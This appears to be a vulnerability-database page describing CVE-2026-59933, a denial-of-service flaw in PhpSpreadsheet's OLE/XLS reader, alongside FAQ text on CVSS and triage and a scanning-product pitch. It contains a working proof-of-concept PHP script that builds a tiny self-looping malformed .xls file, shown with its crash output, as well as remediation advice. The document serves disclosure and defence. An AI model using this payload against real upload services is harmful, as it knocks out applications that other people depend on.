How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

363,156

Total vulnerabilities in the database

CVE-2026-59933 — phpoffice / phpspreadsheet

Uncontrolled Resource Consumption

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

$sbdBlock = $this-&gt;sbdStartBlock;
$this-&gt;smallBlockChain = &#039;&#039;;
while ($sbdBlock != -2) {
    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

    $this-&gt;smallBlockChain .= substr($this-&gt;data, $pos, 4 * $bbs);
    $pos += 4 * $bbs;

    $sbdBlock = self::getInt4d($this-&gt;bigBlockChain, $sbdBlock * 4);
}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

src/PhpSpreadsheet/Shared/OLERead.php:175-180
src/PhpSpreadsheet/Shared/OLERead.php:198-202
src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh &lt;&lt;&#039;SH&#039;
set -eu
php -r &#039;
$data = str_repeat(&quot;\0&quot;, 1024);
$set = function (int $off, string $bytes) use (&amp;$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin(&quot;D0CF11E0A1B11AE1&quot;));
$set(28, &quot;\xfe\xff&quot;);
$set(30, pack(&quot;v&quot;, 9));     // sector size 512
$set(32, pack(&quot;v&quot;, 6));     // mini sector size 64
$set(44, pack(&quot;l&quot;, 1));     // 1 SAT sector
$set(48, pack(&quot;l&quot;, 0));     // directory first sector 0
$set(56, pack(&quot;l&quot;, 4096));  // mini stream cutoff
$set(60, pack(&quot;l&quot;, 0));     // SSAT first sector 0
$set(64, pack(&quot;l&quot;, 1));     // one SSAT sector
$set(68, pack(&quot;l&quot;, -2));    // no MSAT extension
$set(72, pack(&quot;l&quot;, 0));     // no extension sectors
$set(76, pack(&quot;l&quot;, 0));     // DIFAT says SAT is sector 0
$set(512, pack(&quot;l&quot;, 0));    // SAT entry for sector 0 points to itself
file_put_contents(&quot;/tmp/phpspreadsheet-ole-selfloop.xls&quot;, $data);
printf(&quot;ole_size=%d\n&quot;, filesize(&quot;/tmp/phpspreadsheet-ole-selfloop.xls&quot;));
&#039;
php -d memory_limit=64M -d display_errors=1 -r &#039;
require &quot;/app/vendor/autoload.php&quot;;
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r-&gt;canRead(&quot;/tmp/phpspreadsheet-ole-selfloop.xls&quot;));
&#039; 2&gt;&amp;1 || true
SH

Observed output:

ole_size=1024
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase-&gt;canRead($filename = &#039;/tmp/phpspreadsheet-ole-selfloop.xls&#039;) Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead-&gt;read($filename = &#039;/tmp/phpspreadsheet-ole-selfloop.xls&#039;) /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

Validate every OLE sector-chain walk with:
- a visited-sector set to reject cycles;
- maximum chain length based on file size and sector size;
- bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
- rejection of negative sector IDs other than the documented end-of-chain marker.
Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
Apply the same guarded chain-walk helper to:
- small-block depot chain construction;
- small-block stream extraction;
- big-block stream extraction;
- readData().
Add regression tests with self-looping and out-of-range SAT/SSAT chains.

Published: Jul 23, 2026
Updated: Jul 24, 2026
CVE: CVE-2026-59933
GHSA: GHSA-xh5m-36r6-47m3
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWEs:

Affected Software
References

Software	From	Fixed in
phpoffice / phpspreadsheet	4.0.0	5.8.1
phpoffice / phpspreadsheet	3.3.0	3.10.7
phpoffice / phpspreadsheet	2.2.0	2.4.7
phpoffice / phpspreadsheet	2.0.0	2.1.18
phpoffice / phpspreadsheet	-	1.30.6

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.